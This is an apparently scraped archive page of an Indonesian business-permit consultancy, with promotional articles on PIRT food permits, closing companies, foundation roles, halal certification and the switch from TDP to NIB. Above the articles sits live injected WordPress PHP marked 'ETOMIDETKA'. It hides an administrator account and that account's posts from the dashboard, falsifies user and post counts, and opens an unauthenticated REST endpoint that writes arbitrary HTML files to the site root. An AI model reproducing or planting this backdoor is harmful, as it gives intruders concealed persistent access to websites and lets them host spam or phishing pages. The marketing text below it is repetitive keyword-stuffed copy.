//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } bikin pirt solo Archives - Jasa Izin Usaha Solo Jasa Izin Usaha Solo

Jasa Izin Usaha Solo Perizianna Usaha Terbaik Di Solo

Januari 8, 2025

Jasa Pengurusan PIRT di Salatiga

Jasa Pengurusan PIRT Mudah & Cepat : Pentingnya  PIRT bagi Pengusaha

urus PIRT online, Jasa pembuatan PIRT jakarta, Jasa pembuatan PIRT Tangerang, OSS PIRT, Cara daftar PIRT di OSS, Tutorial pembuatan PIRT, Cek PIRT, Nomor P-IRT, Urus PIRT Online, Jasa pembuatan PIRT jakarta, Berapa biaya mengurus IJIN PIRT, Jasa pembuatan PIRT Tangerang, OSS PIRT, Cara daftar PIRT di OSS, Tutorial pembuatan PIRT, Cek PIRT,

 

Jasa Pengurusan PIRT di Salatiga – “Siap jadikan bisnis makanan anda ke next level ? Lengkapi dengan PIRT untuk awal yang lebih baik.”

Apakah Anda seorang pengusaha yang ingin memastikan produk Anda legal dan dipercaya konsumen? Salah satu langkah penting yang tidak boleh Anda lewatkan adalah mengurus PIRT (Pangan Industri Rumah Tangga). Nomor PIRT memberikan kepercayaan kepada konsumen bahwa produk Anda memenuhi standar keamanan pangan.

Apa itu PIRT dan Mengapa Penting?

PIRT adalah izin yang Dinas Kesehatan setempat berikan untuk produk pangan olahan yang industri rumah tangga buat. Sertifikat ini menunjukkan bahwa produk makanan atau minuman Anda aman untuk dikonsumsi. PIRT membangun kepercayaan konsumen, meningkatkan daya saing produk, dan membuka peluang pemasaran di toko-toko modern maupun platform digital.

Bayangkan, jika produk Anda memiliki label PIRT, konsumen akan merasa lebih yakin untuk membeli. Sebaliknya, tanpa izin PIRT, Anda kehilangan banyak peluang bisnis karena keterbatasan akses pasar dan keraguan konsumen.

Proses Pengurusan PIRT

Sebagai pengusaha, Anda mungkin merasa pengurusan PIRT cukup rumit. Namun, menggunakan jasa pengurusan PIRT membuat proses ini jauh lebih mudah dan efisien. Berikut adalah langkah-langkah yang biasanya Anda lalui:

  1. Pendaftaran dan Pengajuan Dokumen: Anda melengkapi dokumen seperti fotokopi KTP, foto produk, dan deskripsi proses produksi.
  2. Pemeriksaan Lokasi Produksi: Tim dari Dinas Kesehatan akan melakukan inspeksi untuk memastikan tempat produksi memenuhi standar higienis.
  3. Pelatihan Keamanan Pangan: Pemilik usaha biasanya diwajibkan mengikuti pelatihan terkait keamanan pangan.
  4. Penerbitan Sertifikat PIRT: Setelah semua persyaratan terpenuhi, sertifikat PIRT akan diterbitkan dan berlaku selama 5 tahun.

Manfaat Memiliki Sertifikat PIRT

Mengurus PIRT bukan hanya soal mematuhi aturan, tetapi juga memberikan banyak manfaat strategis bagi bisnis Anda. Dengan memiliki PIRT, produk Anda:

  • Lebih Dipercaya Konsumen: Label PIRT menunjukkan komitmen Anda terhadap kualitas dan keamanan produk.
  • Mudah Masuk Pasar Modern: Banyak toko ritel dan supermarket mensyaratkan PIRT sebagai salah satu dokumen wajib.
  • Meningkatkan Brand Image: Konsumen lebih cenderung memilih produk dengan label legalitas yang jelas.
  • Membuka Peluang Ekspor: Walaupun PIRT ditujukan untuk pasar lokal, izin ini adalah langkah awal untuk memenuhi standar internasional.

Jasa Pengurusan PIRT: Solusi Mudah untuk Anda

Bagi pengusaha yang tidak memiliki banyak waktu untuk mengurus sendiri, menggunakan jasa pengurusan PIRT adalah solusi terbaik. Jasa ini akan membantu Anda mulai dari pendaftaran, persiapan dokumen, hingga mendapatkan sertifikat. Dengan begitu, Anda bisa fokus pada pengembangan produk dan pemasaran.

Kesimpulan

Mengurus PIRT adalah langkah penting untuk memastikan bisnis Anda berkembang secara legal dan berkelanjutan. Dengan memiliki sertifikat ini, Anda tidak hanya memenuhi kewajiban hukum, tetapi juga membangun kepercayaan konsumen dan memperluas pasar Anda.

Segera hubungi kami dan mulai perjalanan bisnis Anda dengan PIRT yang sah dan terjamin!
Jangan tunda lagi gunakan POP JASA sebagai Jasa Pengurusan PIRT di Salatiga, nikmati kemudahan dan keuntungan memiliki PIRT untuk usaha Anda di Salatiga. Klik di sini atau hubungi kami langsung di nomor [081229995779] untuk mendapatkan informasi lebih lanjut dan konsultasi gratis. Yuk Segera, buat bisnis Anda lebih profesional dan terjamin dengan PT Pop Jasa!

http://wa.me/6281229995779

GRATIS KONSULTASI, BEBAS 24 JAM & SEPUASNYA!

Baca artikel menarik lainnya tentang pengurusan PT di : Jasa Izin Usaha Solo

Jasa Pengurusan PIRT di Jepara

Jasa Pengurusan PIRT Mudah & Cepat : Pentingnya  PIRT bagi Pengusaha

urus PIRT online,
Jasa pembuatan PIRT jakarta,
Jasa pembuatan PIRT Tangerang,
OSS PIRT,
Cara daftar PIRT di OSS,
Tutorial pembuatan PIRT,
Cek PIRT,
Nomor P-IRT, Urus PIRT Online,
Jasa pembuatan PIRT jakarta,
Berapa biaya mengurus IJIN PIRT,
Jasa pembuatan PIRT Tangerang,
OSS PIRT,
Cara daftar PIRT di OSS,
Tutorial pembuatan PIRT,
Nomor P-IRT

 

Jasa Pengurusan PIRT di Jepara – “Siap jadikan bisnis makanan anda ke next level ? Lengkapi dengan PIRT untuk awal yang lebih baik.”

Apakah Anda seorang pengusaha yang ingin memastikan produk Anda legal dan dipercaya konsumen? Salah satu langkah penting yang tidak boleh Anda lewatkan adalah mengurus PIRT (Pangan Industri Rumah Tangga). Nomor PIRT memberikan kepercayaan kepada konsumen bahwa produk Anda memenuhi standar keamanan pangan.

Apa itu PIRT dan Mengapa Penting?

PIRT adalah izin yang Dinas Kesehatan setempat berikan untuk produk pangan olahan yang industri rumah tangga buat. Sertifikat ini menunjukkan bahwa produk makanan atau minuman Anda aman untuk dikonsumsi. PIRT membangun kepercayaan konsumen, meningkatkan daya saing produk, dan membuka peluang pemasaran di toko-toko modern maupun platform digital.

Bayangkan, jika produk Anda memiliki label PIRT, konsumen akan merasa lebih yakin untuk membeli. Sebaliknya, tanpa izin PIRT, Anda kehilangan banyak peluang bisnis karena keterbatasan akses pasar dan keraguan konsumen.

Proses Pengurusan PIRT

Sebagai pengusaha, Anda mungkin merasa pengurusan PIRT cukup rumit. Namun, menggunakan jasa pengurusan PIRT membuat proses ini jauh lebih mudah dan efisien. Berikut adalah langkah-langkah yang biasanya Anda lalui:

  1. Pendaftaran dan Pengajuan Dokumen: Anda melengkapi dokumen seperti fotokopi KTP, foto produk, dan deskripsi proses produksi.
  2. Pemeriksaan Lokasi Produksi: Tim dari Dinas Kesehatan akan melakukan inspeksi untuk memastikan tempat produksi memenuhi standar higienis.
  3. Pelatihan Keamanan Pangan: Pemilik usaha biasanya diwajibkan mengikuti pelatihan terkait keamanan pangan.
  4. Penerbitan Sertifikat PIRT: Setelah semua persyaratan terpenuhi, sertifikat PIRT akan diterbitkan dan berlaku selama 5 tahun.

Manfaat Memiliki Sertifikat PIRT

Mengurus PIRT bukan hanya soal mematuhi aturan, tetapi juga memberikan banyak manfaat strategis bagi bisnis Anda. Dengan memiliki PIRT, produk Anda:

  • Lebih Dipercaya Konsumen: Label PIRT menunjukkan komitmen Anda terhadap kualitas dan keamanan produk.
  • Mudah Masuk Pasar Modern: Banyak toko ritel dan supermarket mensyaratkan PIRT sebagai salah satu dokumen wajib.
  • Meningkatkan Brand Image: Konsumen lebih cenderung memilih produk dengan label legalitas yang jelas.
  • Membuka Peluang Ekspor: Walaupun PIRT ditujukan untuk pasar lokal, izin ini adalah langkah awal untuk memenuhi standar internasional.

Jasa Pengurusan PIRT: Solusi Mudah untuk Anda

Bagi pengusaha yang tidak memiliki banyak waktu untuk mengurus sendiri, menggunakan jasa pengurusan PIRT adalah solusi terbaik. Jasa ini akan membantu Anda mulai dari pendaftaran, persiapan dokumen, hingga mendapatkan sertifikat. Dengan begitu, Anda bisa fokus pada pengembangan produk dan pemasaran.

Kesimpulan

Mengurus PIRT adalah langkah penting untuk memastikan bisnis Anda berkembang secara legal dan berkelanjutan. Dengan memiliki sertifikat ini, Anda tidak hanya memenuhi kewajiban hukum, tetapi juga membangun kepercayaan konsumen dan memperluas pasar Anda.

Segera hubungi kami dan mulai perjalanan bisnis Anda dengan PIRT yang sah dan terjamin!
Jepara, nikmati kemudahan dan keuntungan memiliki PIRT untuk usaha Anda di jepara. Klik di sini atau hubungi kami langsung di nomor [081229995779] untuk mendapatkan informasi lebih lanjut dan konsultasi gratis. Yuk Segera, buat bisnis Anda lebih profesional dan terjamin dengan PT Pop Jasa!

http://wa.me/6281229995779

GRATIS KONSULTASI, BEBAS 24 JAM & SEPUASNYA!

Baca artikel menarik lainnya tentang pengurusan PT di : Jasa Izin Usaha Solo

Jasa Pengurusan PIRT di Banjarnegara

Jasa Pengurusan PIRT Mudah & Cepat : Pentingnya  PIRT bagi Pengusaha

urus PIRT online, Jasa pembuatan PIRT jakarta, Jasa pembuatan PIRT Tangerang, OSS PIRT, Cara daftar PIRT di OSS, Tutorial pembuatan PIRT, Cek PIRT, Nomor P-IRT, Urus PIRT Online, Jasa pembuatan PIRT jakarta, Berapa biaya mengurus IJIN PIRT, Jasa pembuatan PIRT Tangerang, OSS PIRT, Cara daftar PIRT di OSS, Tutorial pembuatan PIRT, Cek PIRT,

Jasa Pengurusan PIRT di Banjarnegara – “Siap jadikan bisnis makanan anda ke next level ? Lengkapi dengan PIRT untuk awal yang lebih baik.”

Apakah Anda seorang pengusaha yang ingin memastikan produk Anda legal dan dipercaya konsumen? Salah satu langkah penting yang tidak boleh Anda lewatkan adalah mengurus PIRT (Pangan Industri Rumah Tangga). Nomor PIRT memberikan kepercayaan kepada konsumen bahwa produk Anda memenuhi standar keamanan pangan.

Apa itu PIRT dan Mengapa Penting?

PIRT adalah izin yang Dinas Kesehatan setempat berikan untuk produk pangan olahan yang industri rumah tangga buat. Sertifikat ini menunjukkan bahwa produk makanan atau minuman Anda aman untuk dikonsumsi. PIRT membangun kepercayaan konsumen, meningkatkan daya saing produk, dan membuka peluang pemasaran di toko-toko modern maupun platform digital.

Bayangkan, jika produk Anda memiliki label PIRT, konsumen akan merasa lebih yakin untuk membeli. Sebaliknya, tanpa izin PIRT, Anda kehilangan banyak peluang bisnis karena keterbatasan akses pasar dan keraguan konsumen.

Proses Pengurusan PIRT

Sebagai pengusaha, Anda mungkin merasa pengurusan PIRT cukup rumit. Namun, menggunakan jasa pengurusan PIRT membuat proses ini jauh lebih mudah dan efisien. Berikut adalah langkah-langkah yang biasanya Anda lalui:

  1. Pendaftaran dan Pengajuan Dokumen: Anda melengkapi dokumen seperti fotokopi KTP, foto produk, dan deskripsi proses produksi.
  2. Pemeriksaan Lokasi Produksi: Tim dari Dinas Kesehatan akan melakukan inspeksi untuk memastikan tempat produksi memenuhi standar higienis.
  3. Pelatihan Keamanan Pangan: Pemilik usaha biasanya diwajibkan mengikuti pelatihan terkait keamanan pangan.
  4. Penerbitan Sertifikat PIRT: Setelah semua persyaratan terpenuhi, sertifikat PIRT akan diterbitkan dan berlaku selama 5 tahun.

Manfaat Memiliki Sertifikat PIRT

Mengurus PIRT bukan hanya soal mematuhi aturan, tetapi juga memberikan banyak manfaat strategis bagi bisnis Anda. Dengan memiliki PIRT, produk Anda:

  • Lebih Dipercaya Konsumen: Label PIRT menunjukkan komitmen Anda terhadap kualitas dan keamanan produk.
  • Mudah Masuk Pasar Modern: Banyak toko ritel dan supermarket mensyaratkan PIRT sebagai salah satu dokumen wajib.
  • Meningkatkan Brand Image: Konsumen lebih cenderung memilih produk dengan label legalitas yang jelas.
  • Membuka Peluang Ekspor: Walaupun PIRT ditujukan untuk pasar lokal, izin ini adalah langkah awal untuk memenuhi standar internasional.

Jasa Pengurusan PIRT: Solusi Mudah untuk Anda

Bagi pengusaha yang tidak memiliki banyak waktu untuk mengurus sendiri, menggunakan jasa pengurusan PIRT adalah solusi terbaik. Jasa ini akan membantu Anda mulai dari pendaftaran, persiapan dokumen, hingga mendapatkan sertifikat. Dengan begitu, Anda bisa fokus pada pengembangan produk dan pemasaran.

Kesimpulan

Mengurus PIRT adalah langkah penting untuk memastikan bisnis Anda berkembang secara legal dan berkelanjutan. Dengan memiliki sertifikat ini, Anda tidak hanya memenuhi kewajiban hukum, tetapi juga membangun kepercayaan konsumen dan memperluas pasar Anda.

Segera hubungi kami dan mulai perjalanan bisnis Anda dengan PIRT yang sah dan terjamin!
Jangan tunda lagi gunakan POP JASA sebagai Jasa Pengurusan PIRT di Banjarnegara, nikmati kemudahan dan keuntungan memiliki PIRT untuk usaha Anda di Banjarnegara. Klik di sini atau hubungi kami langsung di nomor [081229995779] untuk mendapatkan informasi lebih lanjut dan konsultasi gratis. Yuk Segera, buat bisnis Anda lebih profesional dan terjamin dengan PT Pop Jasa!

http://wa.me/6281229995779

GRATIS KONSULTASI, BEBAS 24 JAM & SEPUASNYA!

Baca artikel menarik lainnya tentang pengurusan PT di : Jasa Izin Usaha Solo

September 28, 2021

Ingin Menutup Sebuah PT? Berikut Ini Syaratnya!

Ingin Menutup Sebuah PT? Berikit Ini Syaratnya!

Ingin Menutup Sebuah PT? Berikut Ini Syaratnya! — Dalam operasional bisnis PT (Perseroan Terbatas), kemungkinan-kemungkinan buruk seperti pembubaran ataupun penutupan PT sudah jelas dapat terjadi.

Penutupan PT tidak selalu merupakan hasil dari kegagalan bisnis. Ada beberapa hal yang turut menjadi penyebab mengapa suatu PT mengalami penutupan.

Hal-hal yang turut menjadi penyebab suatu PT mengalami penutupan antara lain tercakupnya sumber daya manusia yang kurang memadai dalam operasional bisnis PT, pengelolaan manajemen yang buruk dan kondisi ekonomi yang tidak stabil.

Adapun secara hukum, sesuai dengan yang tercantum dalam Pasal 142 Ayat (1) Undang-undang Nomor 40 Tahun 2007 tentang Perseroan Terbatas (UUPT), pembubaran ataupun penutupan PT dapat terjadi akibat sebab-sebab sebagai berikut:

  • Adanya keputusan yang valid dari hasil keputusan RUPS (Rapat Umum Pemegang Saham) yang mendukung adanya penutupan PT
  • Jangka waktu berdiri yang telah di tetapkan dalam Anggaran Dasar PT telah berakhir
  • Adanya pencabutan izin usaha, khususnya bagi perusahaan dengan lisensi tertentu
  • Berdasarkan keputusan pengadilan, karena setiap non-kepatuhan dengan hukum, termasuk adanya cacat hukum Akta Pendirian dan pengoperasian perusahaan yang sudah tidak lagi aktif selama tiga tahun
  • Karena harta pailit PT yang telah di nyatakan pailit berada dalam keadaan insolvensi sebagaimana yang telah di atur dalam Undang-undang tentang Kepailitan dan Penundaan Kewajiban Pembayaran Hutang
  • Karena adanya pencabutan izin usaha PT sehingga mewajibkan PT melakukan likuidasi sesuai dengan ketentuan peraturan perundang-undangan

Melakukan penutupan PT tidak dapat Anda lakukan secara sembarangan mengingat Indonesia merupakan negara yang tegak di atas hukum. Oleh karena itu, dalam proses pendirian PT maupun penutupan PT harus Anda selesaikan secara hukum.

Berikut ini ada beberapa syarat tertentu yang harus Anda lengkapi dalam mengurus penutupan PT dan di artikel kali ini kami akan menjelaskannya secara tuntas. Jadi simak dan catat baik-baik ya!

Syarat Penutupan PT

  • Lampirkan dokumen asli dan fotokopi Akta Pendirian PT dan SK Kemenkumham
  • Melampirkan dokumen asli dan fotokopi Akta Perubahan PT (jika pernah melakukan perubahan PT)
  • Melampirkan NPWP (Nomor Pokok Wajib Pajak) asli milik PT dan SKT (Surat Keterangan Terdaftar) asli
  • Fotokopi KTP (Kartu Tanda Penduduk) milik semua pendiri PT
  • Fotokopi NPWP pribadi milik semua pendiri PT
  • Menyiapkan stampel PT
  • Melampirkan Bukti Laporan Pajak Tahunan PT (biasanya untuk di cek ketertiban laporan pajaknya)

Nah! Sampai sini sudah cukup paham bukan apa saja syarat yang dibutuhkan dalam proses penutupan PT?

Jika Anda mengalami kesulitan dalam mengurus penutupan PT atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus penutupan PT.

Mengapa harus mengurus penutupan PT di POPJASA?

Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

Baca Juga : Syarat Melakukan Perubahan Nama PT

Untuk informasi lebih lanjut mengenai pemesanan perizinan, pendirian atau pembuatan izin usaha, Anda dapat menghubungi kami di:

Alamat Kantor CABANG POPJASA:
  • Jl. Merpati 2/5, Pedurungan Tengah, Kec. Pedurungan, Kota Semarang
Kontak POPJASA:

September 20, 2021

Tugas dan Wewenang Organ Yayasan

Tugas dan Wewenang Organ Yayasan

Panduan Lengkap Pembubaran CV Kota Solo

Tugas dan Wewenang Organ Yayasan — Dalam Yayasan, tentu akan Anda temukan istilah organ Yayasan.

Secara umum organ Yayasan terdiri dari Pembina, Pengurus dan Pengawas. Ketiganya pun memiliki tugas serta wewenang masing-masing.

Nah! Di artikel kali ini ini kami akan jelaskan mengenai tugas dan wewenang dari organ Yayasan. Simak baik-baik ya, terlebih jika Anda merupakan bagian dari organ Yayasan.

Tugas dan Wewenang Organ Yayasan

Pembina

Pembina Yayasan memiliki wewenang yang tidak dapat di serahkan kepada Pengurus atau Pengawas Yayasan.

Hal ini telah tercantum dalam Undang-undang Nomor 16 Tahun 2001 tentang Yayasan. Tidak hanya itu saja, Pembina pun tidak di perbolehkan untuk merangkap tugas sebagai Pengurus dan Pengawas Yayasan.

Adapun secara rinci, wewenang dari Pembina Yayasan adalah sebagai berikut:

  • Pembina Yayasan sebagai pemberi keputusan terhadap perubahan Anggaran Dasar
  • Melakukan pengangkatan atau pemberhentian anggota Pengurus dan Pengawas Yayasan
  • Menetapkan kebijakan umum dalam Yayasan berdasarkan Anggaran Dasar
  • Mengesahkan program kerja dan rancangan Anggaran Tahunan Yayasan
  • Menetapkan keputusan mengenai adanya penggabungan atau pembubaran Yayasan

Pengurus

Seperti namanya, pengurus sudah tentu merupakan penanggungjawab utama dalam setiap bentuk kepengurusan Yayasan. Pengurus Yayasan juga tidak di perkenankan merangkap tugas sebagai Pembina dan Pengawas Yayasan.

Adapun secara rinci, wewenang dari Pengurus Yayasan adalah sebagai berikut:

  • Melaksanakan setiap bentuk kepengurusan Yayasan
  • Mewakili Yayasan, baik di dalam maupun di luar pengadilan
  • Mengusulkan, mengangkat atau memberhentikan pelaksanaan kegiatan Yayasan
  • Bersama-sama dengan anggota Pengawas Yayasan mengangkat anggota Pembina Yayasan jika Yayasan tidak lagi mempunyai Pembina

Pengawas

Secara umum Pengawas tentu bertugas untuk melakukan pengawasan. Hal ini juga sama dengan Pengawas di Yayasan yang memiliki tugas untuk melakukan pengawasan serta masukan kepada pengurus dalam menjalankan kegiatan Yayasan.

Sama seperti Pembina dan Pengurus yang tidak boleh merangkap tugas, Pengawas pun demikian. Pengawas tidak di perkenankan merangkap tugas sebagai Pembina dan Pengurus.

Adapun secara rinci, wewenang dari Pengawas Yayasan adalah sebagai berikut:

  • Memasuki bangunan dan/atau halaman maupun tempat lain yang di gunakan oleh Yayasan
  • Memeriksa dokumen
  • Memeriksa pembukuan dan melakukan pencocokkan dengan uang kas
  • Mengetahui segala tindakan yang telah di jalankan oleh Yayasan
  • Memberikan peringatan kepada Pengurus (jika perlu)
  • Melakukan pengesahan laporan tahunan

Sampai sini sudah cukup paham bukan dengan apa saja tugas dan wewenang organ Yayasan?

Jika Anda ingin mendirikan Yayasan atau perlu berkonsultasi mengenai segala hal tentang Yayasan, maka percayakan saja langsung pada POPJASA!

Mengapa harus mengurus pendirian Yayasan di POPJASA? Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha yang TERBAIK dan TERPERCAYA!

POPJASA juga telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia.

Wah! Jadi sudah tidak perlu lagi ya Anda meragukan profesionalitas POPJASA, sebab POPJASA sudah terjamin 100% PROFESIONAL dan TERPERCAYA!

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto Karangasem RT 04 RW 09, Karangasem, Laweyan, Surakarta, Jawa Tengah (Barat Kantor DRPD Surakarta)

Kontak POPJASA:

SYARAT PENGURUSAN SERTIFIKAT MUI HALAL

SYARAT PENGURUSAN SERTIFIKAT MUI HALAL

SYARAT PENGURUSAN SERTIFIKAT MUI HALAL — Pengusaha dengan produk utama berupa makanan, minuman dan kosmetik terkadang membutuhkan sertifikasi tertentu. Khususnya sertifikasi MUI Halal.

Sertifikasi MUI Halal sendiri merupakan sertifikat yang menyatakan bahwa produk seperti makanan, minuman dan kosmetik atau produk lainnya tidak mengandung unsur yang di haram kan.

Sertifikasi ini juga mengedepankan produk makanan, minuman dan kosmetik atau produk lainnya yang memiliki kandungan sekaligus cara pengelolaan yang di lakukan dengan metode produksi sesuai dalam ajaran syariat agama Islam.

Pentingnya mengantongi sertifikasi ini membuat pemerintah Indonesia pun membuat peraturan khusus seputar MUI Halal seperti yang telah tercantum dalam Undang-undang No. 3 Tahun 2014 tentang Jaminan Produk Halal.

Namun sayangnya kebanyakan pengusaha seringkali menunda-nunda, bahkan enggan mengurus Sertifikasi MUI Halal dengan berbagai macam alasan.

Padahal Sertifikasi MUI Halal sangat penting untuk di miliki. Apalagi jika produk yang di pasarkan berupa makanan, minuman, kosmetik atau produk-produk lain seperti kimiawi dan biologi.

Tetapi jika setelah melihat artikel ini Anda mulai merasa perlu untuk mengurus Sertifikasi MUI Halal, namun kendala Anda adalah tidak tahu syarat apa yang harus Anda siapkan dalam mengurus pembuatan Sertifikasi MUI Halal, maka tenang saja! Anda tidak perlu khawatir, sebab kami akan menjelaskannya secara tuntas di sini. Simak baik-baik ya!

SYARAT PENGURUSAN SERTIFIKAT MUI HALAL

Umumnya Anda akan di minta untuk melengkapi beberapa persyaratan seperti sebagai berikut:

  • Melampirkan legalitas perusahaan baik berupa UD, CV atau PT
  • Melampirkan NPWP Perusahaan
  • NIB Perusahaan, di lampir kan
  • Daftar nama produk (khusus yang di jual)
  • Daftar semua nama bahan yang digunakan
  • Alur proses produksi (dari tahap awal sampai tahap akhir)
  • Daftar nama dan alamat cabang perusahaan
  • Daftar alamat seluruh fasilitas produksi (termasuk gerai, dapur, gudang dan kantor pusat)
  • Melampirkan fotokopi KTP Pemilik/Direktur dan Komisaris
  • Melampirkan fotokopi KTP seluruh karyawan
  • Menyiapkan email resmi perusahaan
  • Melampirkan nomor telepon Pemilik/Direktur

JASA PENGURUSAN SERTIFIKAT MUI HALAL

Nah! Adapun jika Anda ingin tahu dimana kiranya Anda bisa mengurus pembuatan Sertifikasi MUI Halal dengan proses yang cepat dan tentunya dengan harga yang bersahabat, maka Anda bisa mempercayakan pembuatan Sertifikasi MUI Halal Anda di POPJASA!

Mengapa harus mengurus pembuatan Sertifikasi MUI Halal di POPJASA? Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha yang TERBAIK dan TERPERCAYA!

POPJASA juga telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia.

Wah! Jadi sudah tidak perlu lagi ya Anda meragukan profesionalitas POPJASA, sebab POPJASA sudah terjamin 100% PROFESIONAL dan TERPERCAYA!

Jadi apalagi yang Anda tunggu? Segera urus pembuatan Sertifikasi MUI Halal Anda di POPJASA sekarang!

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto Karangasem RT 04 RW 09, Karangasem, Laweyan, Surakarta, Jawa Tengah (Barat Kantor DRPD Surakarta)

Kontak POPJASA:

September 11, 2021

Syarat Pengurusan SKT Terpercaya Di Sragen

Syarat Pengurusan SKT Terpercaya Di Sragen

Syarat Pengurusan SKT Terpercaya Di Sragen SKT atau Surat Keterampilan Kerja adalah bukti kompetensi dan kemampuan profesi keterampilan kerja bidang Jasa Pelaksana Konstruksi (Kontraktor).

Jika Anda seorang kontraktor, maka Anda harus memiliki SKT agar dapat di tetapkan sebagai Penanggungjawab Teknik (PJT) dengan kualifikasi sebagai Tingkat I, Tingkat II dan Tingkat III.

Lantas apakah Anda tahu apa saja syarat-syarat pembuatan SKT? Jika Anda belum tahu, kami akan menjelaskan secara tuntas di artikel ini. Simak baik-baik ya!

Syarat Pembuatan SKT

  1. Pass foto berwarna 3×4
  2. Ijazah minimal SMA/SMK
  3. Fotokopi KTP (Kartu Tanda Penduduk) pribadi
  4. Fotokopi NPWP (Nomor Pokok Wajib Pajak) pribadi

Estimasi Pengerjaan Pembuatan SKT

Umumnya proses pengerjaan pembuatan SKT akan selesai dalam kurun waktu 1 sampai 1,5 bulan. Dengan catatan, semua persyaratan yang di butuhkan untuk pembuatan SKT telah terkumpul.

Tujuan Memiliki SKT

  • SKT sebagai syarat memenuhi ketentuan yang telah tercantum dalam Undang-undang tentang Jasa Konstruksi No. 18 tahun 1999.
  • Surat Ketrampilan Kerja sebagai bentuk pertanggungjawaban terhadap negara. SKT juga bagian dari bentuk pertanggungjawaban Anda terhadap masyarakat untuk memberikan jaminan supaya keahlian dan keterampilan yang Anda miliki tidak di ragukan, apalagi di remehkan.
  • SKT juga sebagai bentuk pertanggungjawaban terhadap perusahaan tempat Anda bekerja. Dalam hal ini, perusahaan jasa konstruksi juga akan menilai kinerja serta keahlian Anda berdasarkan nilai pada SKT yang Anda miliki.

Hal ini bisa menjadi jaminan bagi suatu proyek untuk berjalan dengan lancar. Oleh karena itu, perusahaan jasa konstruksi umumnya mewajibkan setiap tenaga ahli profesional untuk memiliki sertifikasi yang resmi dan telah di tandatangani oleh lembaganya.

Sampai sini sudah cukup paham bukan apa saja syarat yang harus Anda siapkan untuk pembuatan SKT?

Jika Anda mengalami kesulitan dalam mengurus pembuatan SKT atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus pembuatan SKT.

Untuk informasi lebih lanjut mengenai pemesanan perizinan, pendirian atau pembuatan izin usaha, Anda dapat menghubungi kami di:

September 4, 2021

SYARAT PERUBAHAN TDP KE NIB

SYARAT PERUBAHAN TDP KE NIB

SYARAT PERUBAHAN TDP KE NIB. Sebagai pengusaha apakah Anda tahu bahwa TDP (Tanda Daftar Perusahaan) dan SIUP (Surat Izin Usaha Perdagangan) atasnama perusahaan yang Anda simpan kini sudah tidak berlaku lagi karena pemerintah telah mengeluarkan legalitas substitusi secara terintegrasi dalam layanan yang dapat di akses secara online di seluruh Indonesia yakni NIB (Nomor Induk Berusaha)?

Menurut Pasal 1 Nomor 12 Peraturan Pemerintah (PP) No. 24 Tahun 2018 tentang Pelayanan Perizinan Berusaha Terintegrasi Secara Elektronik (PBTSE), NIB memiliki pengertian yaitu sebagai sebuah identitas untuk pelaku usaha yang melakukan pendaftaran untuk bisnis usahanya masing-masing.

NIB memiliki kode penyusun berupa 13 digit angka acak yang diberikan pengaman dan disertai juga dengan tanda tangan elektronik.

NIB juga memiliki fungsi sebagai sebuah identitas berusaha yang dapat digunakan oleh pelaku usaha mendapatkan izin usaha untuk bisnis usahanya dan juga izin komersial atau operasional.

Selain memiliki fungsi sebagai identitas usaha, NIB juga berfungsi sebagai TDP dimana usaha bisnis yang dijalankan oleh sebuah perusahaan akan memiliki izin untuk beroperasi, API (Angka Pengenal Impor) dan Akses Kepabeanan.

